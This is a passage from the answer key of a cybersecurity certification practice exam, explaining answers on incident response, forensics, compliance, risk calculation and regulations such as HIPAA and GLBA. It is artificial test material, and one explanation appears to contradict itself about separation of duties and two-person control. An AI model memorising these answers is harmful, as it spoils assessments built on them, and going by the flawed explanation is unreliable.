D. Playbooks describe detailed procedures that help to ensure that organizations and individuals take the right actions during the stress of an incident. Operations guides typically cover normal operational procedures, while an incident response policy describes the high-level organizational direction and authority for incident response. An incident response program might generate a policy and a playbook but would not include the detailed instructions itself.

C. This is a simple representation of a buffer overflow attack. The attacker overflows the buffer, causing the return address to be pointed to malicious code that the attacker placed in memory allocated to the process.

A. Online tools like VirusTotal, MetaScan, and other online malware scanners use multiple antivirus and antimalware engines to scan files. This means they can quickly identify many malware packages. Static analysis of malware code is rarely quick and requires specialized knowledge to unpack or deobfuscate the files in many cases. Running strings can be helpful to quickly pick out text if the code is not encoded in a way that prevents it but is not a consistently useful technique. Running local antivirus or antimalware can be helpful but has a lower success rate than a multi-engine tool.

D. DiskView provides a GUI-based view of the disk with each cluster marked by the files and directories it contains. du is a command-line disk usage reporting tool that can report on the size of directories and their subdirectories. df is the Linux command-line disk space usage tool, and GraphDisk was made up for this question.

D. Passphrases associated with keys are not kept in the .ssh folder. It does contain the remote hosts that have been connected to, the public keys associated with those hosts, and private keys generated for use connecting to other systems.

D. There are numerous reverse image search tools, including Google's reverse image search, Tineye, and Bing's Image Match. John may want to use each of these tools to check for matching images.

C. This image represents an actual situation that involved a severed fiber link. Checking the secondary link would show that traffic failed over to the secondary link after a few minutes of failed connection attempts. This diagram is not sufficient to determine whether Brian has a caching server in place, but normal traffic for streaming services and videoconferences wouldn't work via a cache. If the link had failed and the card or device recovered on the same link, a resumption of normal traffic would appear. PRTG has continued to get small amounts of traffic, indicating that it is still receiving some information.

C. BitLocker keys can be retrieved by analyzing hibernation files or memory dumps or via a FireWire attack for mounted drives. The BitLocker key is not stored in the MBR. After Carlos finishes this investigation, he may want to persuade his organization to require BitLocker key escrow to make his job easier in the future.

A. Adam will quickly note that weekends see small drops, but Christmas vacation and summer break both see significant drops in overall traffic. He can use this as a baseline to identify unexpected traffic during those times or to understand what student and faculty behavior mean to his organization's network usage.

This detail is not sufficient to determine top talkers, and weekend drops in traffic should be expected, rather than requiring him to look into why having fewer people on campus results in lower usage!

C. Slack space is the space left between the end of a file and the end of a cluster. This space is left open, but attackers can hide data there, and forensic analysts can recover data from this space if larger files were previously stored in the cluster and the space was not overwritten prior to reuse.

C. The process details are provided using the p flag, whereas the e flag will show extended information that includes the username and inode of the process. The -t flag shows only TCP connections, -s shows summary information, -a shows all sockets, and the -n flag shows numeric IPs, which is faster than reverse DNS queries.

B. If the system contains any shutdown scripts or if there are temporary files that would be deleted at shutdown, simply pulling the power cable will leave these files in place for forensic analysis. Pulling the cord will not create a memory or crash dump, and memory-resident malware will be lost at power-off.

C. If a device is powered on, the SIM should not be removed until after logical collection has occurred. Once logical collection has occurred, the device should be turned off, and then the SIM card can be removed. If this were not an iPhone, Amanda might want to check to ensure that the device is not a dual or multi-SIM device.

C. Of the tools listed, only OpenVAS is a full-system vulnerability scanner. Wapiti is a web application scanner, ZAP is an attack proxy used for testing web applications, and nmap is a port scanner.

B. The containment stage of incident response is aimed at limiting damage and preventing any further damage from occurring. This may help stop data exfiltration, but the broader goal is to prevent all types of damage, including further exploits or compromises.

B. Logical copies of data and volumes from an unlocked or decrypted device is the most likely mobile forensic scenario in many cases. Most forensic examiners do not have access to chip-level forensic capabilities that physically remove flash memory from the circuit board, and JTAG-level acquisition may involve invasive acquisition techniques like directly connecting to chips on a circuit board.

D. Although the registry contains the account creation date and time as well as the last login date and time, it does not contain the time the user first logged in. Fortunately for Wang, the SAM also contains password expiration information, user account type, the username, full name, user's password hint, when the password must be reset and when it will fail, as well as whether a password is required. The SAM does not include the number of logins for a user, but some of this detail may be available in the system logs.

B. Advanced persistent threats often leverage email, phishing, or a vulnerability to access systems and insert malware. Once they have gained a foothold, APT threats typically work to gain access to more systems with greater privileges. They gather data and information and then exfiltrate that information while working to hide their activities and maintain long-term access. DDoS attacks, worms, and encryption-based extortion are not typical APT behaviors.

A. Alice is performing an information impact analysis. This involves determining what data was accessed, if it was exfiltrated, and what impact that loss might have. An economic impact analysis looks at the financial impact of an event, downtime analysis reviews the time that services and systems will be down, and recovery time analysis estimates the time to return to service.

D. The process flow that Carol has discovered is typically used by an advanced persistent threat. Phishing would focus on gaining credentials, whaling is similar but focused on important individuals, and a zero-day exploit leverages a newly discovered vulnerability before there is a patch or general awareness of the issue.

B. She is in the identification phase, which involves identifying systems and data before they are collected and preserved.

C. Carol should notify counsel and provide information about the policy and schedule that resulted in the data being removed. This will allow counsel to choose what steps to take next.

C. With most e-discovery cases, reviewing the large volumes of data to ensure that only needed data is presented and that all necessary data is made available takes up the most staff time. Many organizations with larger e-discovery needs either dedicate staff or outsource efforts like this.

C. Cassandra should ensure that she has at least one USB multi-interface drive adapter that can connect to all common storage drive types. If she were performing forensic analysis, she would also want to use a hardware or software write blocker to ensure that she retains forensic integrity of the acquisition. A USB-C cable and a USB hard drive are commonly found in forensic and incident response toolkits, but neither will help Cassandra connect to bare drives.

B. Crime scene tape isn't a typical part of a forensic kit if you aren't a law enforcement forensic analyst or officer. Some businesses may use seals or other indicators to discourage interference with investigations. Write blockers, label makers, and decryption tools are all commonly found in forensic kits used by both commercial and law enforcement staff.

B. A call list provides a list of the personnel who should or can be contacted during an incident or response scenario. Sometimes called an escalation list, they typically include the names of the staff members who should be called if there is no response. A rotation list or call rotation is used to distribute workload among a team, typically by placing a specific person on-call for a set timeframe. This may help decide who is on the call list at any given point in time. A triage triangle is made up for this question, and responsibility matrices are sometimes created to explain who is responsible for what system or application, but aren't directly used for emergency contact lists.

A. John the Ripper is a common Linux password cracker. Although it is possible that an attacker might choose to call a rootkit or a malicious program used for privilege escalation “john,” it is far less likely. Since user processes are identified by the binary name, not the user's identity for the process, a user named John won't result in a process named John unless they create a binary with the same name.

A. Postincident communication often involves marketing and public relations staff who focus on consumer sentiment and improving the organization's image, whereas legal often reviews statements to limit liability or other issues. Developers are typically not directly involved in postincident communications and are instead working on ensuring the security of the applications or systems they are responsible for.

A. Malicious sites may run scripts intended to mine cryptocurrency or to perform other actions when they are visited or ads execute code, resulting in high processor consumption. Charles should review the sites that were visited and check them against a trusted site list tool or a reputation tool. The scenario described does not indicate that checking the binary will help, and reinstalling a browser isn't typically part of the response for high CPU usage. Disabling TLS is a terrible idea, and modern CPUs shouldn't have an issue handling secure sites.

B. Mika's organization should use a change management process to avoid unauthorized changes to their web server. Mika could then check the change process logs or audit trail to determine who made the change and when. If Java had been installed without proper authorization, then this would be unauthorized software. Unexpected input often occurs when web applications are attacked, and may result in a memory overflow.

C. Overflowing a memory location by placing a string longer than the program expects into a variable is a form of buffer overflow attack. Attackers may choose to use a string of the same letters to make the overflow easier to spot when testing the exploit.

B. Barb can configure a behavior-based analysis tool that can capture and analyze normal behavior for her application, and then alert her when unexpected behavior occurs. Although this requires initial setup, it requires less long-term work than constant manual monitoring, and unlike signature-based or log analysis-based tools, it will typically handle unexpected outputs appropriately.

B. Although all of these functions are likely able to provide important advice on disciplinary policies, the human resources team has primary responsibility for employee relations and would be the best team to include for this purpose.

B. Sensitive personal information includes data related to ethnic or racial origin, political opinions, religious or philosophical beliefs, trade union membership, genetic data, biometric data, and data concerning a person's health, sex life, and sexual orientation. The other data elements in this question are examples of personally identifiable information (PII), but they do not fall under the SPI category.

C. This is an example of an emergency change because the change was made without any advance approval. It was necessary to meet urgent security requirements, and Joanna should follow up as soon as possible by filing an emergency change notice.

D. Tabletop exercises allow testing of the incident response process without disrupting normal business activity. This is a good approach that gathers the team together to walk through an incident scenario. Full interruption tests are disruptive to the business and would not be appropriate in this case. Checklist reviews and management reviews do not provide the requested level of interaction with the team.

B. SSH communications normally take place over TCP port 22. Attackers may try to run SSH servers over different ports to avoid detection.

A. Attackers commonly use scheduled tasks to achieve persistence. If an analyst forgets to check for scheduled tasks, attackers may leave a task scheduled that opens up a vulnerability at a later date, achieving persistence on the system.

B. Generally speaking, analysts may obtain more forensic information when their organization has greater control over the underlying cloud resources. Infrastructure as a service (IaaS) environments provide the greatest level of control and, therefore, typically provide access to the most detailed information.

A. Any of these exercises may be used to help remind incident responders of their responsibilities. Checklist reviews have the least impact on the organization because they may be done asynchronously by individual employees. The other training/exercise types listed here would require a more substantial commitment of time.

C. All of these are standard port/service pairings, with the exception of SSH, which normally runs on port 22. If this is discovered frequently during attacks, analysts may wish to generate a new IoC to better recognize future attacks.

D. Vulnerability mitigation, restoration of permissions, and the verification of logging and communication to security monitoring are all activities that normally occur during the eradication and recovery phase of incident response. The analysis of drive capacity consumption is the assessment of an indicator of compromise which occurs during the detection and analysis phase of incident response.

A. All of these stakeholders should be included in the planning for an incident response program. However, Craig should be most careful about coordinating with external entities, such as regulatory bodies, because of their enforcement role. He should plan to coordinate more freely with internal entities, such as senior leadership, legal, and human resources.

Answers to Chapter 5: Domain 5.0: Compliance and Assessment

B. Although many security controls may address this objective, the most directly related one is data classification. By classifying data, the organization will be able to clearly communicate protection requirements for different types of information.

B. The advanced persistent threat (APT) group is an example of an external threat to the organization. If there is also some vulnerability in the organization's security defenses that might allow that APT to successfully attack the organization, then a risk exists.

D. This approach is risk-based because it allows the organization to address the standard based on their business environment. A prescriptive standard, such as PCI DSS, does not offer this flexibility. HIPAA is still a law that contains security requirements, so it is not appropriate to describe it as optional or minimal.

A. Network segmentation is a risk mitigation activity. Threat intelligence, vulnerability scanning, and systems assessments are all valuable tools in helping an organization identify risks.

A. The two factors that determine the severity of a risk are its probability and magnitude. Impact is a synonym for magnitude. Likelihood is a synonym for probability. Controls are a risk mitigation technique that might be applied to reduce the magnitude and/or probability after determining the severity of a risk.

B. This background screening is taking place prior to employment. Therefore, it is a preventive control, designed to prevent the organization from hiring someone who might pose a security risk.

D. OAuth redirects are an authentication attack that allows an attacker to impersonate another user.

C. This is an example of data masking, removing enough digits from sensitive information to render it non-sensitive. Tokenization would replace the existing number with an unrelated number. Purging would remove the data completely. The data is not deidentified because the customer's name appears on the receipt.

C. All of these information sources may be useful during Renee's assessment, but the most useful item would be the results of an independent security assessment that evaluates the vendor's security controls.

C. The HIPAA security rule specifically addresses the confidentiality, integrity, and availability of protected health information. The HIPAA privacy rule governs the privacy of that information. There is no specific rule addressing nonrepudiation.

A. The use of a threat intelligence feed to block connections at the firewall reduces the likelihood of a successful attack and is, therefore, a risk mitigation activity.

D. Gary is changing business practices to eliminate the risk entirely. This is, therefore, an example of risk avoidance.

C. Purchasing insurance is the most common example of risk transference—it's shifting liability to a third party.

B. Internal audit provides the ability to perform the investigation with internal resources, which typically reduces cost. External auditors would normally be quite expensive and bring a degree of independence that is unnecessary for an internal investigation. The IT manager would not be a good candidate for performing the assessment because they may be involved in the embezzlement or may have close relationships with the affected employees. There is no need to bring in law enforcement at this point, opening the company to unnecessary scrutiny and potential business disruption.

B. The Gramm–Leach–Bliley Act (GLBA) includes regulations covering the cybersecurity programs at financial institutions, including banks. The Health Insurance Portability and Accountability Act (HIPAA) covers healthcare providers, insurers, and health information clearinghouses. The Family Educational Rights and Privacy Act (FERPA) applies to educational institutions. The Sarbanes–Oxley Act (SOX) applies to publicly traded companies.

D. This is an example of purpose limitation: ensuring that information is used only for disclosed purposes. It is not data retention or disposal because Alfonso is not making any decisions to keep or discard data. Similarly, it is not data minimization because he is not choosing not to collect information or to discard unnecessary information.

B. This is the type of engineering trade-off that security engineers must make on a regular basis. The level of encryption Florian is choosing meets the organization's standards, and there is no reason to believe that it introduces unnecessary security or compliance risk.

B. The Information Technology Infrastructure Library (ITIL) framework places security management into the service design core activity. The other processes in service design are design coordination, service catalog management, service-level management, availability management, capacity management, IT service continuity management, and supplier management.

B. A tabletop exercise gathers the team in one place to walk through the response to a hypothetical incident. A checklist review does not gather the team or utilize a scenario. Parallel tests and full interruption tests involve the activation of incident response procedures.

B. Data sovereignty says that data is subject to the laws of the jurisdiction where it is stored, processed, or transmitted. This is the issue that concerns Oskar's organization. There is no discussion of minimizing the data collected or retained, or limiting the purposes for which information may be used.

C. Changes in team members may cause someone to initiate a review, but it is more likely that a review would be initiated based on changes in the processes protected by the security program, control requirements (such as compliance obligations), or a control failure (such as a security incident).

B. This is a tricky question because two options—risk avoidance and risk mitigation—can both limit the probability of a risk occurring. However, risk avoidance is more likely to do so because it eliminates the circumstances that created the risk, whereas risk mitigation simply introduces controls to reduce the likelihood or impact of a risk. Risk acceptance does not change the probability or magnitude of a risk. Risk transference limits the potential magnitude by transferring financial responsibility to another organization but does not impact probability.

C. ISO 27001 is the current standard governing cybersecurity requirements. ISO 9000 is a series of quality management standards. ISO 17799 covered information security issues but is outdated and has been withdrawn. ISO 30170 covers the Ruby programming language.

C. All of these controls would be effective ways to prevent the loss of information. However, only a background investigation is likely to uncover information that might make a potential employee susceptible to blackmail.

B. All of the controls listed are network security controls. Of those listed, a data loss prevention (DLP) system is specifically designed for the purpose of identifying and blocking the exfiltration of sensitive information and would be the best control to meet Martin's goal. Intrusion prevention systems (IPSs) may be able to perform this function on a limited basis, but it is not their intent. Intrusion detection systems (IDSs) are even more limited in that they are detective controls only and would not prevent the exfiltration of information. Firewalls are not designed to serve this purpose.

A. Full-disk encryption (FDE) prevents anyone who gains possession of a device from accessing the data it contains, making it an ideal control to meet Martin's goal. Strong passwords may be bypassed by directly accessing the disk. Cable locks are not effective for devices used by travelers. Intrusion prevention systems are technical controls that would not affect someone who gained physical access to a device.

A. This question forces you to choose from several good options, as do many questions on the exam. We can rule out insurance because that does not alter the probability of a risk occurring. The remaining three options all do reduce the likelihood, but the best choice is minimizing the amount of data retained and the number of locations where it is stored, since this removes that data from the potential of a breach.

A. Kwame should take action to communicate the risk factors to management and facilitate a risk-informed discussion about possible courses of action. He should do this prior to taking any more aggressive action.

C. There is no explicit security domain in the COBIT standard. The four COBIT domains are Plan and Organize, Acquire and Implement, Deliver and Support, and Monitor and Evaluate.

B. An organization's acceptable use policy (AUP) should contain information on what constitutes allowable and unallowable use of company resources. This policy should contain information to help guide Mia's next steps.

C. The exposure factor (EF) is the percentage of the facility that risk managers expect will be damaged if the risk materializes. It is calculated by dividing the amount of damage by the asset value. In this case, that is $5 million in damage divided by the $10 million facility value, or 50%.

B. The annualized rate of occurrence (ARO) is the number of times that risk analysts expect a risk to happen in any given year. In this case, the analysts expect an earthquake once every 200 years, or 0.005 times per year.

A. The annualized loss expectancy (ALE) is calculated by multiplying the single loss expectancy (SLE) by the annualized rate of occurrence (ARO). In this case, the SLE is $5,000,000 and the ARO is 0.005. Multiplying these numbers together gives you the ALE of $25,000.

B. Moving the datacenter to a location where earthquakes are not a risk is an example of risk avoidance, because it is completely avoiding the risk. If the location simply had a lower risk of earthquake, then this strategy would be risk mitigation.

D. Purchasing insurance is always an example of risk transference, as it transfers risk from the entity purchasing the policy to the insurance company.

C. Risk acceptance is the deliberate decision to not take any other risk management action and simply to carry on with normal activity in spite of the risk.

C. The classification levels under the U.S. government information classification scheme are, in ascending order, Confidential, Secret, and Top Secret. Private is not a government classification.

B. The purpose of a DLP system is to detect and block unauthorized transfers of information outside of an organization. The sentence that best describes this purpose is that they can use labels to apply appropriate security policies.

A. PCI DSS has a fairly short minimum password length requirement. Requirement 8.2.3 states that passwords must be a minimum of seven characters long and must include a mixture of alphabetic and numeric characters.

D. Mandatory vacations are designed to force individuals to take time away from the office to allow fraudulent activity to come to light in their absence. The other controls listed here (separation of duties, least privilege, and dual control) are all designed to prevent, rather than detect, fraud.

D. Transport Layer Security (TLS) is the current standard for encrypting data in transit. Secure Sockets Layer (SSL) previously filled this need, but it is no longer considered secure. Full-disk encryption (FDE) is used to protect data at rest, and data loss prevention (DLP) systems do not apply encryption to all web traffic.

B. This situation violates the principle of separation of duties. The company appears to have designed the controls to separate the creation of vendors from the issuance of payments, which is a good fraud-reduction practice. However, the fact that they are cross-trained to back each other up means that they have the permissions assigned to violate this principle.

D. After accepting a risk, the organization takes no action other than to document the risk as accepted. Implementing additional security controls or designing a remediation plan would not be risk acceptance but would instead fit into the category of risk mitigation. There is no need to repeat the business impact assessment.

C. Robin would achieve the best results by combining elements of quantitative and qualitative risk assessment. Quantitative risk assessment excels at analyzing tangible, financial risks, whereas qualitative risk assessment is good for intangible risks. Combining the two techniques provides a well-rounded risk picture.

A. In a security exercise, the red team is responsible for offensive operations, whereas the blue team is responsible for defensive operations. The white team serves as the neutral referees, whereas the purple team combines elements of the red team and blue team.

A. Separation of duties is the most effective way to mitigate this risk. Administrators who have access to perform privileged activities on systems should not also have the ability to alter log files. Two-person control could work but would be very cumbersome. Job rotation and security awareness would not address this risk.

A. Automated deprovisioning ties user account removal to human resources systems. Once a user is terminated in the human resources system, the identity and access management infrastructure automatically removes the account. Quarterly user access reviews may identify accounts that should have been disabled, but they would take a long time to do so, so they are not the best solution to the problem. Separation of duties and two-person control are designed to limit the authority of a user account and would not remove access.

C. Annual reviews of security policies are an industry standard and are sufficient unless there are special circumstances, such as a new policy or major changes in the environment. Monthly or quarterly reviews would occur too frequently, whereas waiting five years for the review is likely to miss important changes in the environment.

A. The first step in performing a risk assessment is to undertake the risk identification process.

C. The Advanced Encryption Standard (AES) is a secure, modern encryption algorithm that is appropriate for data at rest. It replaces the Data Encryption Standard (DES), which is no longer considered secure. SSL and TLS technologies are for use with data in transit.

C. The GDPR applies to European Union (EU) residents. Although data sovereignty controls are important to excluding an organization from GDPR coverage, data sovereignty would not restrict certain customers from doing business with the organization. Geographic access requirements could block potential customers from accessing her organization's resources from within the European Union.

C. Watermarking technology applies an invisible identifier to a document that is intended to survive copying and modification. Watermarking can be used to prove the origin of a file.

D. The most relevant policy here is the organization's data retention policy, which should outline the standards for keeping records before destruction or disposal.

B. Fences are preventive controls because a tall fence can prevent an intruder from gaining access to a secure facility. They are also deterrent controls because the presence of a fence may deter an intruder from attempting to gain access. They are physical security controls because they restrict physical access. They are not corrective controls because they do not play a role after a physical intrusion occurs.

D. It is sometimes difficult to distinguish between cases of least privilege, separation of duties, and dual control. Least privilege means that an employee should only have the access rights necessary to perform their job. That is not the case in this scenario because accountants need to be able to approve payments. Separation of duties occurs when the same employee does not have permission to perform two different actions that, when combined, could undermine security. That is not the case here because both employees are performing the same action: approving the payment. Dual control occurs when two employees must jointly authorize the same action. That is the case in this scenario. Security through obscurity occurs when the security of a control depends on the secrecy of its mechanism.

B. The Information Technology Infrastructure Library (ITIL) is specifically designed to offer a set of compatible IT processes.

A. The rules of engagement for a penetration test outline the activities that are (and are not) permissible during a test. Carmen should include her requirement in the penetration test's rules of engagement.

C. The Health Insurance Portability and Accountability Act (HIPAA) mandates the safeguarding of protected health information (PHI). Sensitive personal information (SPI) and personally identifiable information (PII) may fall under HIPAA but do not necessarily do so. Payment card information is covered by the Payment Card Industry Data Security Standard (PCI DSS).

A. Data owners bear ultimate responsibility for safeguarding the information under their care, even if they do not personally implement or manage the security controls.

D. This data appears to be tokenized, as the Social Security Numbers (SSN) have been replaced with a sequential field. This is a hallmark that the numbers are not randomly generated and are likely reversible using a lookup table.

B. The characters in the Social Security Number (SSN) field appear to be nonsequential and arbitrary. It is most likely that this data has been encrypted and requires a decryption key to recover the contents of the SSN field.

A. In this report, the first five digits of the Social Security Number (SSN) have been replaced with Xs. This is clearly an example of data masking.

D. Any of these terms could reasonably be used to describe this engagement. However, the term audit best describes this effort because of the formal nature of the review and the fact that the board requested it.

B. A procedure offers a step-by-step process for completing a cybersecurity activity. The VPN instructions that Gavin is creating are best described using this term.

D. The five security functions described in the NIST Cybersecurity Framework are identify, protect, detect, respond, and recover.

A. Succession planning is designed to create a pool of reserve candidates ready to step into positions when a vacancy occurs. This is an important continuity control. The other security controls may have the incidental side effect of exposing employees to other responsibilities, but they are not designed to meet this goal.

B. Backups are used to recover operations in the wake of a security incident. Therefore, they are best described as corrective controls.

D. Vendor due diligence is designed to identify vulnerabilities due to the supplier relationship. In an infrastructure-as-a-service (IaaS) environment, the customer is responsible for managing the security of data stored in the environment to prevent data exfiltration. The customer is also responsible for operating system and security group configuration. Vendor due diligence may uncover vendor viability issues, which may impact future vendor availability.

C. An organization's code of conduct or ethics describes expected behavior of employees and affiliates and serves as a backstop for situations not specifically addressed in policy.

C. Requests for an exception to a security policy would not normally include a proposed revision to the policy. Exceptions are documented variances from the policy because of specific technical and/or business requirements. They do not alter the original policy, which remains in force for systems not covered by the exception.

D. Although all the COBIT components are useful to an organization seeking to implement the COBIT framework, only the maturity models offer an assessment tool that helps the organization assess its progress.

D. Account management policies describe the account lifecycle from provisioning through active use and decommissioning, including removing access upon termination. Data ownership policies clearly state the ownership of information created or used by the organization. Data classification policies describe the classification structure used by the organization and the process used to properly assign classifications to data. Data retention policies outline what information the organization will maintain and the length of time different categories of information will be retained prior to destruction.

A. The Health Insurance Portability and Accountability Act (HIPAA) covers the handling of protected health information (PHI) by healthcare providers, insurers, and health information clearinghouses. The Gramm–Leach–Bliley Act (GLBA) includes regulations covering the cybersecurity programs at financial institutions, including banks. The Family Educational Rights and Privacy Act (FERPA) applies to educational institutions. The Sarbanes–Oxley Act (SOX) applies to publicly traded companies.

B. Separation of duties is a principle that prevents individuals from having two different privileges that, when combined, could be misused. Separating the ability to create vendors and authorize payments is an example of two-person control.

D. Two-person control is a principle that requires the concurrence of two different employees to perform a single sensitive action. Requiring two signatures on a check is an example of a two-person control.

B. Mandatory vacations and job rotation plans are able to detect malfeasance by requiring an employee's absence from his or her normal duties and exposing them to other employees. Privilege use reviews have a manager review the actions of an employee with privileged system access and would detect misuse of those privileges. Background investigations uncover past acts and would not be helpful in detecting active fraud. They are also typically performed only for new hires.

A. All of the mechanisms listed here may be used to protect private information. However, acceptable use policies, privacy policies, and data ownership policies are internal policies that would not be binding on former employees. To manage this risk, Chris's organization should have all employees sign nondisclosure agreements (NDAs) that remain binding after the end of the employment relationship.

A. The role of the white team is to control the exercise, serving as a neutral party to facilitate events and moderate disputes. The red team is responsible for offensive operations, whereas the blue team is responsible for defensive operations. The term “Swiss team” is not used in security exercises.

C. The Gramm–Leach–Bliley Act (GLBA) regulates the handling of sensitive customer information by financial institutions in the United States. The Payment Card Industry Data Security Standard (PCI DSS) regulates credit card information and may apply to Dan's bank, but it is a contractual obligation and not a law. The Health Insurance Portability and Accountability Act (HIPAA) governs protected health information. The Sarbanes–Oxley (SOX) Act governs the financial reporting of publicly traded companies.

A. This is an example of dual control (or two-person control) where performing a sensitive action (logging onto the payment system) requires the cooperation of two individuals. Separation of duties is related but would involve not allowing the same person to perform two actions that, when combined, could be harmful.

C. The rules of engagement (RoE) for a penetration test outline the permissible and impermissible activities for testers. If there are any systems, techniques, or information that is off-limits, this should be clearly stated in the RoE.

C. It is normal to find statements in an information security policy that declare the importance of cybersecurity to the organization, designate a specific individual as responsible for the cybersecurity function, and grant that individual authority over cybersecurity. Specific requirements, such as requiring multifactor authentication for financial systems would be more appropriately placed in a standard than a policy.

B. In a risk-informed external participation effort, the organization understands its role in the larger ecosystem with respect to either its own dependencies or dependents, but not both. That describes the situation in Ben's scenario.

B. Guidelines are optional advice, by definition. Policies and standards are always mandatory. Procedures may be mandatory or optional, depending on the organizational context.

B. The white team is responsible for interpreting rules and arbitrating disputes during a security exercise. The white team leader would be the most appropriate person from this list to answer Kaitlyn's question.

A. Documents that are not intended for public release, but would not cause significant damage if accidentally or intentionally released, should be classified as internal documents.

B. The annualized rate of occurrence (ARO) is calculated as the number of times an attack should be expected in a given year. This may be expressed as a decimal or percentage. The scenario tells us that there is a 10% chance of an attack in a given year. This could be described as an ARO of 10%, or 0.1.

D. The single loss expectancy (SLE) is the amount of damage expected to occur as the result of a single successful attack. In this case, the scenario provides this information as $75,000.

C. The annualized loss expectancy (ALE) is the amount of damage expected in any given year. It is calculated by multiplying the SLE ($75,000) by the ARO (10%) to get the ALE ($7,500).

C. Determining the single best category for a control is always tricky, as many controls can cross categories in terms of their purpose. In this case, we are told that the control exists to reduce the likelihood of an attack, making it a preventive control.

D. A DDoS mitigation service takes action to reduce the load on the network by blocking unwanted traffic. This is a technical intervention and is best described as a technical control.

A. PCI DSS includes many explicit requirements that apply regardless of the operating environment and is, therefore, best described as a prescriptive control.

C. PCI DSS allows organizations that cannot meet a specific PCI DSS requirement to implement a compensating control that mitigates the risk. This is the process Piper is following in this scenario.

D. The purpose of this control is to reduce the probability of an attack. Implementing controls designed to reduce the probability or magnitude of a risk is a risk mitigation activity.

D. The proper ordering of the NIST Cybersecurity Framework tiers (from least mature to most mature) is: Partial; Risk Informed; Repeatable; Adaptive.

D. Sharing data outside the organization normally requires the consent of the data owner. Ruth should consult the data ownership policy for assistance in determining the identities of the appropriate data owner(s) that she should consult.

A. This activity is almost certainly a violation of the organization's acceptable use policy (AUP), which should contain provisions describing appropriate use of networks and computing resources belonging to the organization.

B. Standards describe specific security controls that must be in place for an organization. Ryan would not include a list of algorithms in a high-level policy document, and this information is too general to be useful as a procedure. Guidelines are not mandatory, so they would not be applicable in this scenario.

D. Framework Profiles describe how a specific organization might approach the security functions covered by the Framework Core. The Framework Core is a set of five security functions that apply across all industries and sectors: identify, protect, detect, respond, and recover. The Framework Implementation Tiers assess how an organization is positioned to meet cybersecurity objectives.

D. ISO 27001 is a voluntary standard, and there is no law or regulation requiring that healthcare organizations, financial services firms, or educational institutions adopt it.

B. It is sometimes difficult to distinguish between cases of least privilege, separation of duties, and dual control. Least privilege means that an employee should only have the access rights necessary to perform their job. While this may be true in this scenario, you do not have enough information to make that determination because you do not know whether access to the database would help the security team perform their duties. Separation of duties occurs when the same employee does not have permission to perform two different actions that, when combined, could undermine security. That is the case here because a team member who had the ability to both approve access and access the database may be able to grant themselves access to the database. Dual control occurs when two employees must jointly authorize the same action. Security through obscurity occurs when the security of a control depends on the secrecy of its mechanism.

C. Succession planning and cross-training both serve to facilitate continuity of operations by creating a pool of candidates for job vacancies. Of these, only cross-training encompasses actively involving other people in operational processes, which may also help detect fraud. Dual control and separation of duties are both controls that deter fraud, but they do not facilitate the continuity of operations.

C. Organizations may require all of these items as part of an approved exception request. However, the documentation of scope, duration of the exception, and business justification are designed to clearly describe and substantiate the exception request. The compensating control, on the other hand, is designed to ensure that the organization meets the intent and rigor of the original requirement.

A. The continual service improvement (CSI) activity in ITIL is designed to increase the quality and effectiveness of IT services. It is the umbrella activity that surrounds all other ITIL activities.

C. This is an example of separation of duties. Someone who has the ability to transfer funds into the account and issue payments could initiate a very large fund transfer, so Berta has separated these responsibilities into different roles. Separation of duties goes beyond least privilege by intentionally changing jobs to minimize the access that an individual has, rather than granting them the full permissions necessary to perform their job. This is not an example of dual control because a single individual can still perform each action.

A. Data ownership policies clearly state the ownership of information created or used by the organization. Data classification policies describe the classification structure used by the organization and the process used to properly assign classifications to data. Data retention policies outline what information the organization will maintain and the length of time different categories of information will be retained prior to destruction. Account management policies describe the account life cycle from provisioning through active use and decommissioning.

D. The automatic blocking of logins is a technical activity and this is, therefore, a technical control. Physical controls are security controls that impact the physical world. Operational controls include the processes that we put in place to manage technology in a secure manner. Managerial controls are procedural mechanisms that an organization follows to implement sound security management practices.

D. Data retention policies describe what information the organization will maintain and the length of time different categories of information will be retained prior to destruction, including both minimum and maximum retention periods. Data classification would be covered by the data classification policy.

A. Using information for a purpose other than the one that was disclosed to subjects violates the purpose limitation principle of privacy. The other issues in this scenario all represent violations of security but are not necessarily privacy issues.

Answers to Chapter 6: Practice Exam 1

B. The sudden drop to zero is most likely to be an example of link failure. A denial-of-service attack could result in this type of drop but is less likely for most organizations. High bandwidth consumption and beaconing both show different traffic patterns than shown in this example.

C. This is fundamentally a dispute about data ownership. Charlotte's coworker is asserting that her department owns the data in question, and Charlotte disagrees. Although the other policies mentioned may have some relevant information, Charlotte should first turn to the data ownership policy to see whether it reinforces or undermines her coworker's data ownership claim.

B. During an incident recovery effort, patching priority should be placed on systems that were directly involved in the incident. This is one component of remediating known issues that were actively exploited.

B. Signature-based attack detection methods rely on knowing what an attack or malware looks like. Zero-day attacks are unlikely to have an existing signature, making them a poor choice to prevent them. Heuristic (behavior) detection methods can indicate compromises despite the lack of signatures for the specific exploit. Leveraging threat intelligence to understand new attacks and countermeasures is an important part of defense against zero-day attacks. Building a well-designed and segmented network can limit the impact of compromises or even prevent them.

D. The Windows registry, Master File Tables, and INDX files all contain information about files, often including removed or deleted files. Event logs are far less likely to contain information about a specific file location.

C. Since Emily's organization uses WPA2 Enterprise, users must authenticate to use the wireless network. Associating the scan with an authenticated user will help incident responders identify the device that conducted the scan.

A. Normally, forensic images are collected from systems that are offline to ensure that a complete copy is made. In cases like this where keeping the system online is more important than the completeness of the forensic image, a live image to an external drive using a portable forensic tool such as FTK Imager Lite, dd, or similar is the correct choice.

B. Accidental threats occur when individuals doing their routine work mistakenly perform an action that undermines security. In this case, Maria's actions were an example of an accident that caused an availability issue.

A. When nmap returns a response of “filtered,” it indicates that nmap cannot tell whether the port is open or closed. Filtered results are often the result of a firewall or other network device, but a response of filtered does not indicate that a firewall or IPS was detected. When nmap returns a “closed” result, it means that there is no application listening at that moment.

D. Despite that vulnerability scanning is an important security control, HIPAA does not offer specific requirements for scanning frequency. However, Darcy would be well advised to implement vulnerability scanning as a best practice, and daily or weekly scans are advisable.

C. The likeliest issue is a problem with the NTP synchronization for both of the hosts, because of an improperly set time zone or another time issue. The ruleset only allows traffic initiated by host A, making it impossible for host B to be the source of a compromise of A. The other options are possible, but the most likely issue is an NTP problem.

D. The most serious vulnerabilities shown in this report are medium-severity vulnerabilities. Server D has the highest number (8) of vulnerabilities at that severity level.

C. When an event of the type that is being analyzed has occurred within the recent past (often defined as a year), assessments that review that event will normally classify the likelihood of occurrence as high since it has already occurred.

C. The CEO's suggestion is a reasonable approach to vulnerability scanning that is used in some organizations, often under the term continuous scanning. He should consider the request and the impact on systems and networks to determine a reasonable course of action.

